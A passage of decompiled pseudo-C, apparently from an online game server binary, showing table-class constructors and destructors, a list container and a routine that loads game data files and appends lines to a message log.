= (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B1BC: using guessed type int (__cdecl *ITableBase_ItemActionEffect_ItemActionEffects____vftable_)(int __formal); //----- (0057AAF0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B1C8: using guessed type int (__cdecl *ITableBase_ItemAction_ItemActions____vftable_)(int __formal); //----- (0057AB50) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B1D4: using guessed type int (__cdecl *ITableBase_SetEffect_SetEffectTable____vftable_)(int __formal); //----- (0057ABB0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B1E0: using guessed type int (__cdecl *ITableBase_ActionEffectItem_ActionEffectItemTable____vftable_)(int __formal); //----- (0057AC10) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B1EC: using guessed type int (__cdecl *ITableBase_ActionEffectAbState_ActionEffectAbStateTable____vftable_)(int __formal); //----- (0057AC70) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B1F8: using guessed type int (__cdecl *ITableBase_EnchantSocketRate_EnchantSocketRateTable____vftable_)(int __formal); //----- (0057ACD0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057ACF0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AD10) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AD30) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AD50) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AD70) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AD90) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057ADB0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057ADD0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057ADF0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AE10) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AE30) -------------------------------------------------------- void *__thiscall AccUpGradeInfoTable::_scalar_deleting_destructor_(AccUpGradeInfoTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; AccUpGradeInfoTable::_AccUpGradeInfoTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AE50) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AE70) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AE90) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AEB0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AED0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AEF0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AF10) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AF30) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AF50) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AF70) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AF90) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AFB0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AFD0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057AFF0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B010) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B030) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B050) -------------------------------------------------------- GBReward *__cdecl std::copy_backward(GBReward *_First, GBReward *_Last, GBReward *_Dest) { GBReward *v3; // edx@1 GBReward *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x28u); } return result; } //----- (0057B080) -------------------------------------------------------- #593 **__cdecl std::copy(#593 **_First, #593 **_Last, #593 **_Dest) { int v3; // eax@1 memmove((char *)_Dest, (char *)_First, 4 * (_Last - _First)); return (#593 **)(4 * (_Last - _First) + v3); } //----- (0057B0B0) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_tough(lua_State *L) { _iobuf *v1; // esi@1 _iobuf *v2; // esi@1 _iobuf *v3; // esi@1 _iobuf *v4; // esi@1 SkillDataBox::SkillDataIndex *v5; // eax@1 _iobuf *v6; // esi@1 SkillDataBox::SkillDataIndex *v7; // eax@1 _iobuf *v8; // esi@1 SkillDataBox::SkillDataIndex *v9; // eax@1 _iobuf *v10; // esi@1 _iobuf *v11; // esi@1 _iobuf *v12; // esi@1 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); ItemUseFunction::iuf_Load(&itemusefunction); v2 = fopen("Message.txt", "a"); fprintf(v2, "%s\n"); fclose(v2); MagicContainer::mc_Load((MagicContainer *)&magiccontainer); v3 = fopen("Message.txt", "a"); fprintf(v3, "%s\n"); fclose(v3); MobAttackSequence::mas_Load(&mobattseq); v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); v5 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load( &chargedbuffdatabox, "../9Data/Hero/ChargedEffect.shn", &ui_chargedbuff, v5); v6 = fopen("Message.txt", "a"); fprintf(v6, "%s\n"); fclose(v6); v7 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load(&minihousedatabox, "../9Data/Hero/MiniHouse.shn", &ui_minihouse, v7); v8 = fopen("Message.txt", "a"); fprintf(v8, "%s\n"); fclose(v8); v9 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load( &minihousefurnituredatabox, "../9Data/Hero/MiniHouseFurniture.shn", &ui_minihousefurniture, v9); v10 = fopen("Message.txt", "a"); fprintf(v10, "%s\n"); fclose(v10); MiniHouseObjAniDataBox::mhoadb_Load(&minihouseobjanidatabox); v11 = fopen("Message.txt", "a"); fprintf(v11, "%s\n"); fclose(v11); KQRegenTable::kqrt_Load(&kqregentable); v12 = fopen("Message.txt", "a"); fprintf(v12, "%s\n"); fclose(v12); AIScriptContainer::aisc_Load((AIScriptContainer *)&g_AIScriptContainer); return 0; } //----- (0057B2E0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0057B330) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0057B450) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__thiscall std::vector>::_Ufill(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Ptr, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0057B480) -------------------------------------------------------- void __thiscall GuildTournamentScoreTable::GuildTournamentScoreTable(GuildTournamentScoreTable *this) { GuildTournamentScoreTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S247 & 1) ) { _S247 |= 1u; atexit(_E248); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentScoreTable::_vftable_; } // 67B098: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable____vftable_)(int __formal); // 67B314: using guessed type int (__cdecl *GuildTournamentScoreTable___vftable_)(int __formal); //----- (0057B4D0) -------------------------------------------------------- void *__thiscall GuildTournamentScoreTable::_scalar_deleting_destructor_(GuildTournamentScoreTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentScoreTable::_GuildTournamentScoreTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B500) -------------------------------------------------------- void __thiscall GuildTournamentLvGapTable::GuildTournamentLvGapTable(GuildTournamentLvGapTable *this) { GuildTournamentLvGapTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S249 & 1) ) { _S249 |= 1u; atexit(_E250); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentLvGapTable::_vftable_; } // 67B0A4: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable____vftable_)(int __formal); // 67B320: using guessed type int (__cdecl *GuildTournamentLvGapTable___vftable_)(int __formal); //----- (0057B550) -------------------------------------------------------- void *__thiscall GuildTournamentLvGapTable::_scalar_deleting_destructor_(GuildTournamentLvGapTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentLvGapTable::_GuildTournamentLvGapTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B580) -------------------------------------------------------- void __thiscall GuildTournamentOccupyTable::GuildTournamentOccupyTable(GuildTournamentOccupyTable *this) { GuildTournamentOccupyTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S251 & 1) ) { _S251 |= 1u; atexit(_E252); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentOccupyTable::_vftable_; } // 67B0B0: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable____vftable_)(int __formal); // 67B32C: using guessed type int (__cdecl *GuildTournamentOccupyTable___vftable_)(int __formal); //----- (0057B5D0) -------------------------------------------------------- void *__thiscall GuildTournamentOccupyTable::_vector_deleting_destructor_(GuildTournamentOccupyTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentOccupyTable::_GuildTournamentOccupyTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B600) -------------------------------------------------------- void __thiscall GuildTournamentSkillTable::GuildTournamentSkillTable(GuildTournamentSkillTable *this) { GuildTournamentSkillTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S253 & 1) ) { _S253 |= 1u; atexit(_E254); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentSkillTable::_vftable_; } // 67B0BC: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable____vftable_)(int __formal); // 67B338: using guessed type int (__cdecl *GuildTournamentSkillTable___vftable_)(int __formal); //----- (0057B650) -------------------------------------------------------- void *__thiscall GuildTournamentSkillTable::_scalar_deleting_destructor_(GuildTournamentSkillTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentSkillTable::_GuildTournamentSkillTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B680) -------------------------------------------------------- void __thiscall GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this) { GuildTournamentMasterBuffTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S255 & 1) ) { _S255 |= 1u; atexit(_E256); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentMasterBuffTable::_vftable_; } // 67B0C8: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable____vftable_)(int __formal); // 67B344: using guessed type int (__cdecl *GuildTournamentMasterBuffTable___vftable_)(int __formal); //----- (0057B6D0) -------------------------------------------------------- void *__thiscall GuildTournamentMasterBuffTable::_vector_deleting_destructor_(GuildTournamentMasterBuffTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentMasterBuffTable::_GuildTournamentMasterBuffTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B700) -------------------------------------------------------- void __thiscall GTIGetRateTable::GTIGetRateTable(GTIGetRateTable *this) { GTIGetRateTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S257 & 1) ) { _S257 |= 1u; atexit(_E258); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IGetRateTable::_vftable_; } // 67B0D4: using guessed type int (__cdecl *ITableBase_GTIGetRate_GTIGetRateTable____vftable_)(int __formal); // 67B350: using guessed type int (__cdecl *GTIGetRateTable___vftable_)(int __formal); //----- (0057B750) -------------------------------------------------------- void *__thiscall GTIGetRateTable::_vector_deleting_destructor_(GTIGetRateTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIGetRateTable::_GTIGetRateTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B780) -------------------------------------------------------- void __thiscall GTIGetRateGapTable::GTIGetRateGapTable(GTIGetRateGapTable *this) { GTIGetRateGapTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S259 & 1) ) { _S259 |= 1u; atexit(_E260); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IGetRateGapTable::_vftable_; } // 67B0E0: using guessed type int (__cdecl *ITableBase_GTIGetRateGap_GTIGetRateGapTable____vftable_)(int __formal); // 67B35C: using guessed type int (__cdecl *GTIGetRateGapTable___vftable_)(int __formal); //----- (0057B7D0) -------------------------------------------------------- void *__thiscall GTIGetRateGapTable::_vector_deleting_destructor_(GTIGetRateGapTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIGetRateGapTable::_GTIGetRateGapTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B800) -------------------------------------------------------- void __thiscall GTIServerTable::GTIServerTable(GTIServerTable *this) { GTIServerTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S261 & 1) ) { _S261 |= 1u; atexit(_E262); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IServerTable::_vftable_; } // 67B0EC: using guessed type int (__cdecl *ITableBase_GTIServer_GTIServerTable____vftable_)(int __formal); // 67B368: using guessed type int (__cdecl *GTIServerTable___vftable_)(int __formal); //----- (0057B850) -------------------------------------------------------- void *__thiscall GTIServerTable::_scalar_deleting_destructor_(GTIServerTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIServerTable::_GTIServerTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B880) -------------------------------------------------------- void __thiscall GTIBreedSubjectTable::GTIBreedSubjectTable(GTIBreedSubjectTable *this) { GTIBreedSubjectTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S263 & 1) ) { _S263 |= 1u; atexit(_E264); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IBreedSubjectTable::_vftable_; } // 67B0F8: using guessed type int (__cdecl *ITableBase_GTIBreedSubject_GTIBreedSubjectTable____vftable_)(int __formal); // 67B374: using guessed type int (__cdecl *GTIBreedSubjectTable___vftable_)(int __formal); //----- (0057B8D0) -------------------------------------------------------- void *__thiscall GTIBreedSubjectTable::_scalar_deleting_destructor_(GTIBreedSubjectTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIBreedSubjectTable::_GTIBreedSubjectTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B900) -------------------------------------------------------- void __thiscall GTWinScoreTable::GTWinScoreTable(GTWinScoreTable *this) { GTWinScoreTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S265 & 1) ) { _S265 |= 1u; atexit(_E266); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>WinScoreTable::_vftable_; } // 67B104: using guessed type int (__cdecl *ITableBase_GTWinScore_GTWinScoreTable____vftable_)(int __formal); // 67B380: using guessed type int (__cdecl *GTWinScoreTable___vftable_)(int __formal); //----- (0057B950) -------------------------------------------------------- void *__thiscall GTWinScoreTable::_scalar_deleting_destructor_(GTWinScoreTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTWinScoreTable::_GTWinScoreTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057B980) -------------------------------------------------------- void __thiscall AccUpGradeTable::AccUpGradeTable(AccUpGradeTable *this) { AccUpGradeTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S267 & 1) ) { _S267 |= 1u; atexit(_E268); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&AccUpGradeTable::_vftable_; } // 67B130: using guessed type int (__cdecl *ITableBase_AccUpgrade_AccUpGradeTable____vftable_)(int __formal); // 67B38C: using guessed type int (__cdecl *AccUpGradeTable___vftable_)(int __formal); //----- (0057B9D0) -------------------------------------------------------- void *__thiscall AccUpGradeTable::_scalar_deleting_destructor_(AccUpGradeTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; AccUpGradeTable::_AccUpGradeTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BA00) -------------------------------------------------------- void __thiscall ProdSucRateTable::ProdSucRateTable(ProdSucRateTable *this) { ProdSucRateTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S269 & 1) ) { _S269 |= 1u; atexit(_E270); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&ProdSucRateTable::_vftable_; } // 67B13C: using guessed type int (__cdecl *ITableBase_ProdSucRate_ProdSucRateTable____vftable_)(int __formal); // 67B398: using guessed type int (__cdecl *ProdSucRateTable___vftable_)(int __formal); //----- (0057BA50) -------------------------------------------------------- void *__thiscall ProdSucRateTable::_scalar_deleting_destructor_(ProdSucRateTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ProdSucRateTable::_ProdSucRateTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BA80) -------------------------------------------------------- void __thiscall MysteryVaultTable::MysteryVaultTable(MysteryVaultTable *this) { MysteryVaultTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S271 & 1) ) { _S271 |= 1u; atexit(_E272); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&MysteryVaultTable::_vftable_; } // 67B148: using guessed type int (__cdecl *ITableBase_MysteryVaultServer_MysteryVaultTable____vftable_)(int __formal); // 67B3A4: using guessed type int (__cdecl *MysteryVaultTable___vftable_)(int __formal); //----- (0057BAD0) -------------------------------------------------------- void *__thiscall MysteryVaultTable::_scalar_deleting_destructor_(MysteryVaultTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MysteryVaultTable::_MysteryVaultTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BB00) -------------------------------------------------------- void __thiscall LevelGap_Player_to_Monster::LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this) { LevelGap_Player_to_Monster *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S273 & 1) ) { _S273 |= 1u; atexit(_E274); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&LevelGap_Player_to_Monster::_vftable_; } // 67B154: using guessed type int (__cdecl *ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster____vftable_)(int __formal); // 67B3B0: using guessed type int (__cdecl *LevelGap_Player_to_Monster___vftable_)(int __formal); //----- (0057BB50) -------------------------------------------------------- void *__thiscall LevelGap_Player_to_Monster::_vector_deleting_destructor_(LevelGap_Player_to_Monster *this, unsigned int a2) { void *v2; // esi@1 v2 = this; LevelGap_Player_to_Monster::_LevelGap_Player_to_Monster(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BB80) -------------------------------------------------------- void __thiscall LevelGap_Monster_to_Player::LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this) { LevelGap_Monster_to_Player *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S275 & 1) ) { _S275 |= 1u; atexit(_E276); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&LevelGap_Monster_to_Player::_vftable_; } // 67B160: using guessed type int (__cdecl *ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player____vftable_)(int __formal); // 67B3BC: using guessed type int (__cdecl *LevelGap_Monster_to_Player___vftable_)(int __formal); //----- (0057BBD0) -------------------------------------------------------- void *__thiscall LevelGap_Monster_to_Player::_scalar_deleting_destructor_(LevelGap_Monster_to_Player *this, unsigned int a2) { void *v2; // esi@1 v2 = this; 